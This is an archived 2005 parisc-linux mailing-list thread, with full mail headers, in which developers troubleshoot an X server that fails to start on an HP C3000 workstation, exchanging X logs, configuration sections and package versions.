Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] X startup failure
Date: Wed, 28 Dec 2005 18:28:52 -0500 (EST)
Lines: 20
Approved: news@gmane.org
Message-ID: <200512282328.jBSNSruQ029068@hiauly1.hia.nrc.ca>
References: <200512281719.26852.mszick@morethan.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623966 17531 80.91.229.3 (22 Nov 2014 02:39:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: mszick@morethan.org (Michael S. Zick)
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Dec 2005 23:29:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx032) with SMTP; 29 Dec 2005 00:29:06 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D044E7D6FA;
	Wed, 28 Dec 2005 16:28:58 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19930-07; Wed, 28 Dec 2005 16:28:58 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 343C37D6FB;
	Wed, 28 Dec 2005 16:28:58 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B55A37D6F9
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Dec 2005 16:28:55 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19819-06 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Dec 2005 16:28:55 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 1051F7D6F2
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Dec 2005 16:28:54 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	jBSNSril029069; Wed, 28 Dec 2005 18:28:53 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id jBSNSruQ029068;
	Wed, 28 Dec 2005 18:28:53 -0500 (EST)
In-Reply-To: <200512281719.26852.mszick@morethan.org> from "Michael S. Zick"
	at Dec 28, 2005 05:19:26 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: lHrBY/8IeSEkUr6WZHQhaXN1IGRvb0AP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23296

> Pardon the dumb question----
> 
> > Could not init font path element unix/:7100, removing from list!
> > Could not init font path element /usr/lib/X11/fonts/Speedo, removing from list!
> >
> Is xfs (X font server) still running?

root@hiauly6:/var/log# ps -ef|grep xfs
root      2159     1  0 Dec26 ?        00:00:00 /usr/bin/X11/xfs -daemon

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] X startup failure
Date: Wed, 28 Dec 2005 16:46:09 -0500 (EST)
Lines: 78
Approved: news@gmane.org
Message-ID: <200512282146.jBSLkAZZ028658@hiauly1.hia.nrc.ca>
References: <200512272338.10264.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623967 17533 80.91.229.3 (22 Nov 2014 02:39:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: deller@gmx.de (Helge Deller)
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Dec 2005 21:46:13 -0000
Original-Received: from hiauly1.hia.nrc.ca (EHLO hiauly1.hia.nrc.ca) [132.246.100.193]
  by mx0.gmx.net (mx068) with SMTP; 28 Dec 2005 22:46:13 +0100
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id jBSLkAil028659;
	Wed, 28 Dec 2005 16:46:11 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id jBSLkAZZ028658;
	Wed, 28 Dec 2005 16:46:10 -0500 (EST)
In-Reply-To: <200512272338.10264.deller@gmx.de> from "Helge Deller" at Dec 27, 2005 11:38:10 pm
X-Mailer: ELM [version 2.4 PL25]
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 8mLBYzN9eSEkNr6WZHQhaXN1IGRvb8B+
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23297

> I tried myself with current kernel.
> 
> - 32bit kernel on c3k works for me. Can you try again with current kernel ?

I'm currently running 2.6.15-rc6-pa1 but 2.6.8.1-pa11 doesn't work
either.  2.6.8.1-pa11 used to work ok.

> - 64bit kernel on my c3k crashes, but this doesn't seem (with strace) related to stifb. Maybe this is due to some mmap() problems ?

I haven't every been successful in running a 64bit kernel either.

> Sorry, no better idea...

This is what I see when I run startx:

OS Kernel: Linux version 2.6.15-rc6-pa1 (bame@palinux) (gcc version 3.3.5 (Debian 1:3.3.5-13)) #1 Mon Dec 19 15:13:14 MST 2005
Markers: (--) probed, (**) from config file, (==) default setting,
         (++) from command line, (!!) notice, (II) informational,
	 (WW) warning, (EE) error, (NI) not implemented, (??) unknown.
(==) Log file: "/var/log/XFree86.0.log", Time: Wed Dec 28 16:26:26 2005
(==) Using config file: "/etc/X11/XF86Config-4"
(EE) FBDEV(0): FBIOPAN_DISPLAY: Invalid argument
Could not init font path element unix/:7100, removing from list!

waiting for X server to shut down

I'm puzzled about the font path element as the font server is running.
The stuff in the log file seems ok:

...
(II) Setting vga for screen 0.
(**) FBDEV(0): Depth 8, (--) framebuffer bpp 8
(==) FBDEV(0): Default visual is PseudoColor
(==) FBDEV(0): Using gamma correction (1.0, 1.0, 1.0)
(II) FBDEV(0): hardware: stifb (video memory: 2048kB)
(II) FBDEV(0): checking modes against framebuffer device...
(II) FBDEV(0):  mode "1280x1024" ok
(II) FBDEV(0): checking modes against monitor...
(--) FBDEV(0): Virtual size is 1280x1024 (pitch 1280)
(**) FBDEV(0):  Default mode "1280x1024": 108.0 MHz (scaled from 0.0 MHz), 64.0
kHz, 60.0 Hz
(II) FBDEV(0): Modeline "1280x1024"  108.00  1280 1328 1440 1688  1024 1025 1028 1066 +hsync +vsync
(++) FBDEV(0): DPI set to (100, 100)
(**) FBDEV(0): using shadow framebuffer
...
(EE) FBDEV(0): FBIOPAN_DISPLAY: Invalid argument
(==) FBDEV(0): Backing store disabled
(**) Option "dpms"
(**) FBDEV(0): DPMS enabled
(==) RandR enabled
(II) Setting vga for screen 0.
...
(II) USB Mouse: ps2EnableDataReporting: succeeded
Could not init font path element unix/:7100, removing from list!

I think things broke with the 6.8.2.dfsg.1 update but I'm not sure.

dave@hiauly6:~$ dpkg -l xserver-common
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Installed/Config-files/Unpacked/Failed-config/Half-installed
|/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err: uppercase=bad)
||/ Name           Version        Description
+++-==============-==============-============================================
ii  xserver-common 6.8.2.dfsg.1-7 files and utilities common to all X servers
dave@hiauly6:~$ dpkg -l xserver-xfree86
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Installed/Config-files/Unpacked/Failed-config/Half-installed
|/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err: uppercase=bad)
||/ Name           Version        Description
+++-==============-==============-============================================
ii  xserver-xfree8 4.3.0.dfsg.1-1 the XFree86 X server

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)



From - Thu Nov 08 21:34:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] X startup failure
Date: Thu, 29 Dec 2005 10:12:35 +0000
Lines: 74
Approved: news@gmane.org
Message-ID: <43B3B693.6030803@tiscali.be>
References: <200512271437.jBREbxA8021653@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623967 17535 80.91.229.3 (22 Nov 2014 02:39:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:27 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <soete.joel@tiscali.be>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Dec 2005 10:12:46 -0000
Original-Received: from xizor.is.scarlet.be (EHLO xizor.is.scarlet.be) [193.74.71.21]
  by mx0.gmx.net (mx019) with SMTP; 29 Dec 2005 11:12:46 +0100
Original-Received: from (ip-62-235-216-196.dial.scarlet.be [62.235.216.196]) 
	by xizor.is.scarlet.be  with ESMTP id jBTACfw11713; 
	Thu, 29 Dec 2005 11:12:41 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051007 Debian/1.7.12-1
X-Accept-Language: en
In-Reply-To: <200512271437.jBREbxA8021653@hiauly1.hia.nrc.ca>
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: yNPBY+wFeSEkYb6WZHQhaXN1IGRvb0Dy
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23298

2 pence idea ;?

John David Anglin wrote:
> Hi Helge,
> 
> 
>>On Monday 26 December 2005 22:34, John David Anglin wrote:
>>
>>>X no longer starts on my c3k using unstable.  The problem seems
>>>to be:
>>>
>>>(EE) FBDEV(0): FBIOPAN_DISPLAY: Invalid argument
>>>
this is definitely the pb?

>>>XF86Config-4 hasn't changed for at least a year.  Any ideas?
>>
>>I assume your screen resolution changed. 
> 
> 
> No.  I've had the following entries in XF86Config-4 since Sep 2003:
> 
> Section "Device"
>         Identifier      "HP Visualize-EG"
> 	Driver          "fbdev"
> 	Option          "UseFBDev"              "true"
> EndSection
> 
> Section "Monitor"
> 	Identifier      "NEC LCD1980SX"
> 	HorizSync       30-107
> 	VertRefresh     50-85
> 	Option          "DPMS"
> EndSection
> 
> Section "Screen"
> 	Identifier      "Default Screen"
> 	Device          "HP Visualize-EG"
> 	Monitor         "NEC LCD1980SX"
> 	DefaultDepth    8
> 	SubSection "Display"
> 		Depth           8
> 		Modes           "1280x1024"
> 	EndSubSection
> EndSection
> 
> 
>>Maybe new monitor/setup or different graphic card is detected first ?
> 
> 
> Possibly, the machine has two graphics cards.  However, the presence of
> the A1262A never caused a problem before:
> 
> STI GSC/PCI core graphics driver Version 0.9a
> STI PCI graphic ROM found at f6000000 (64 kB), fb at f8000000 (32 MB)
>     id 2d08c0a7-9a02587, conforms to spec rev. 8.0a
>     graphics card name: PCI_GRAFFITIX1280
> STI PCI graphic ROM found at f7000000 (2048 kB), fb at fa000000 (32 MB)
>     id 35acda30-9a02587, conforms to spec rev. 8.0d
>     graphics card name: A1262A
> sticon: Initializing STI text console.
> Console: switching to colour STI console 160x64
> Console: switching to colour frame buffer device 160x64
> fb0: stifb 1280x1024-8 frame buffer device, PCI_GRAFFITIX1280, id: 2d08c0a7, mmio: 0xf8100000
> stifb: 'A1262A' (id: 0x35acda30) not supported.
> 
I just remember of a pb encountered a long time ago: is your pdc settings set well the graphic device to PCI_GRAFFITIX1280?

How could we check that fb0 point well to this PCI_GRAFFITIX1280 and not to A1262A?

sorry no such hw available to help more,
	Joel



From - Thu Nov 08 21:34:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] X startup failure
Date: Thu, 29 Dec 2005 10:41:23 -0500 (EST)
Lines: 116
Approved: news@gmane.org
Message-ID: <200512291541.jBTFfNbf002585@hiauly1.hia.nrc.ca>
References: <43B3B693.6030803@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623967 17536 80.91.229.3 (22 Nov 2014 02:39:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Dec 2005 15:41:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx001) with SMTP; 29 Dec 2005 16:41:41 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C187E7D6E5;
	Thu, 29 Dec 2005 08:41:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25488-08; Thu, 29 Dec 2005 08:41:29 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A832A7D6EA;
	Thu, 29 Dec 2005 08:41:28 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 16CCE7D6E4
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 29 Dec 2005 08:41:27 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25515-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 29 Dec 2005 08:41:26 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 519007D6E1
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 29 Dec 2005 08:41:26 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	jBTFfOil002586; Thu, 29 Dec 2005 10:41:24 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id jBTFfNbf002585;
	Thu, 29 Dec 2005 10:41:23 -0500 (EST)
In-Reply-To: <43B3B693.6030803@tiscali.be> from "Joel Soete" at Dec 29,
	2005 10:12:35 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 4mbGY9FdeSEkc76WZHQhaXN1IGRvbwB7
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23299

> >>On Monday 26 December 2005 22:34, John David Anglin wrote:
> >>
> >>>X no longer starts on my c3k using unstable.  The problem seems
> >>>to be:
> >>>
> >>>(EE) FBDEV(0): FBIOPAN_DISPLAY: Invalid argument
> >>>
> this is definitely the pb?

Helge says this message has always been there, so I don't know.

> I just remember of a pb encountered a long time ago: is your pdc settings set well the graphic device to PCI_GRAFFITIX1280?

Yes
> 
> How could we check that fb0 point well to this PCI_GRAFFITIX1280 and not to A1262A?

I was concerned about this so I added the BusID line:

Section "Device"
        Identifier      "PCI_GRAFFITIX1280"
	Driver          "fbdev"
	BusID           "PCI:2:3:0"
	Option          "UseFBDev"              "true"
EndSection

I see this in the Xorg.0.log:

(--) PCI: (2:3:0) Hewlett-Packard Company A4977A Visualize EG rev 3, Mem @ 0xf80
00000/25, BIOS @ 0xf6000000/16
(--) PCI: (3:2:0) Hewlett-Packard Company Visualize FX4 rev 2, Mem @ 0xfa000000/
25, BIOS @ 0xf7000000/21
...
(**) FBDEV(0): claimed PCI slot 2:3:0
(II) FBDEV(0): using default device
...
(II) Setting vga for screen 0.
(**) FBDEV(0): Depth 8, (--) framebuffer bpp 8
(==) FBDEV(0): Default visual is PseudoColor
(==) FBDEV(0): Using gamma correction (1.0, 1.0, 1.0)
(II) FBDEV(0): hardware: stifb (video memory: 2048kB)
(II) FBDEV(0): checking modes against framebuffer device...
(II) FBDEV(0):  mode "1280x1024" ok
(II) FBDEV(0): checking modes against monitor...
(--) FBDEV(0): Virtual size is 1280x1024 (pitch 1280)
(**) FBDEV(0):  Default mode "1280x1024": 108.0 MHz (scaled from 0.0 MHz), 64.0 kHz, 60.0 Hz
(II) FBDEV(0): Modeline "1280x1024"  108.00  1280 1328 1440 1688  1024 1025 1028 1066 +hsync +vsync
(++) FBDEV(0): DPI set to (100, 100)
(**) FBDEV(0): using shadow framebuffer
(II) resource ranges after preInit:
	[0] 0   0       0xf8000000 - 0xf9ffffff (0x2000000) MX[B]
	[1] -1  0       0xffffffff - 0xffffffff (0x1) MX[B]
	[2] -1  0       0x00000000 - 0x00000000 (0x1) MX[B]
	[3] -1  0       0xf4800000 - 0xf480007f (0x80) MX[B]
	[4] -1  0       0xf4000000 - 0xf4001fff (0x2000) MX[B]
	[5] -1  0       0xf4004000 - 0xf40043ff (0x400) MX[B]
	[6] -1  0       0xf4002000 - 0xf4003fff (0x2000) MX[B]
	[7] -1  0       0xf4005000 - 0xf40053ff (0x400) MX[B]
	[8] -1  0       0xf4006000 - 0xf4006fff (0x1000) MX[B]
	[9] -1  0       0xf4007000 - 0xf4007fff (0x1000) MX[B]
	[10] -1 0       0xf4009000 - 0xf400900f (0x10) MX[B]
	[11] -1 0       0xf400a000 - 0xf400a00f (0x10) MX[B]
	[12] -1 0       0xf400b000 - 0xf400b00f (0x10) MX[B]
	[13] -1 0       0xf400c000 - 0xf400c1ff (0x200) MX[B]
	[14] -1 0       0xf4008000 - 0xf40083ff (0x400) MX[B]
	[15] -1 0       0xf7000000 - 0xf71fffff (0x200000) MX[B](B)
	[16] -1 0       0xfa000000 - 0xfbffffff (0x2000000) MX[B](B)
	[17] -1 0       0xf6000000 - 0xf600ffff (0x10000) MX[B](B)
        [18] -1 0       0xf8000000 - 0xf9ffffff (0x2000000) MX[B](B)
	[19] 0  0       0x000a0000 - 0x000affff (0x10000) MS[B]
	[20] 0  0       0x000b0000 - 0x000b7fff (0x8000) MS[B]
	[21] 0  0       0x000b8000 - 0x000bffff (0x8000) MS[B]
	[22] -1 0       0x0000ffff - 0x0000ffff (0x1) IX[B]
	[23] -1 0       0x00000000 - 0x00000000 (0x1) IX[B]
	[24] -1 0       0x00002000 - 0x0000207f (0x80) IX[B]
	[25] -1 0       0x00000800 - 0x000008ff (0x100) IX[B]
	[26] -1 0       0x00000900 - 0x000009ff (0x100) IX[B]
	[27] -1 0       0x00000a00 - 0x00000a0f (0x10) IX[B]
	[28] -1 0       0x00000b00 - 0x00000b03 (0x4) IX[B]
	[29] -1 0       0x00000d00 - 0x00000d07 (0x8) IX[B]
	[30] -1 0       0x00000e00 - 0x00000e03 (0x4) IX[B]
	[31] -1 0       0x00000f00 - 0x00000f07 (0x8) IX[B]
	[32] -1 0       0x00001000 - 0x0000107f (0x80) IX[B]
	[33] 0  0       0x000003b0 - 0x000003bb (0xc) IS[B]
	[34] 0  0       0x000003c0 - 0x000003df (0x20) IS[B]
(EE) FBDEV(0): FBIOPAN_DISPLAY: Invalid argument
(==) FBDEV(0): Backing store disabled
(**) Option "dpms"
(**) FBDEV(0): DPMS enabled
(==) RandR enabled
(II) Setting vga for screen 0.
(**) Generic Keyboard: Core Keyboard
...
(II) USB Mouse: ps2EnableDataReporting: succeeded
Could not init font path element unix/:7100, removing from list!
Could not init font path element /usr/lib/X11/fonts/Speedo, removing from list!

So, the two strange things are the FBIOPAN_DISPLAY and the font server
messages.  I killed and restarted xfs.  That didn't fix the problem.
It seems the X server just exits.

The tests that I did yesterday were done remotely and the monitor was
off at the time.  I noticed one debian bug report about X not starting
when the monitor was off.  However, I had the same problem on the 26th
when I was trying to use the console.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] X startup failure
Date: Thu, 29 Dec 2005 12:59:05 -0500 (EST)
Lines: 26
Approved: news@gmane.org
Message-ID: <200512291759.jBTHx5Qe003164@hiauly1.hia.nrc.ca>
References: <200512291541.jBTFfNbf002585@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623968 17538 80.91.229.3 (22 Nov 2014 02:39:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Dec 2005 17:59:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx064) with SMTP; 29 Dec 2005 18:59:20 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0317B7D703;
	Thu, 29 Dec 2005 10:59:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26182-10; Thu, 29 Dec 2005 10:59:14 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 32C977D6FD;
	Thu, 29 Dec 2005 10:59:14 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2BD537D6F8
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 29 Dec 2005 10:59:11 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26295-05 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 29 Dec 2005 10:59:10 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 6BF6F7D6BF
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 29 Dec 2005 10:59:10 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	jBTHx6il003165; Thu, 29 Dec 2005 12:59:07 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id jBTHx5Qe003164;
	Thu, 29 Dec 2005 12:59:05 -0500 (EST)
In-Reply-To: <200512291541.jBTFfNbf002585@hiauly1.hia.nrc.ca> from "John David
	Anglin" at Dec 29, 2005 10:41:23 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
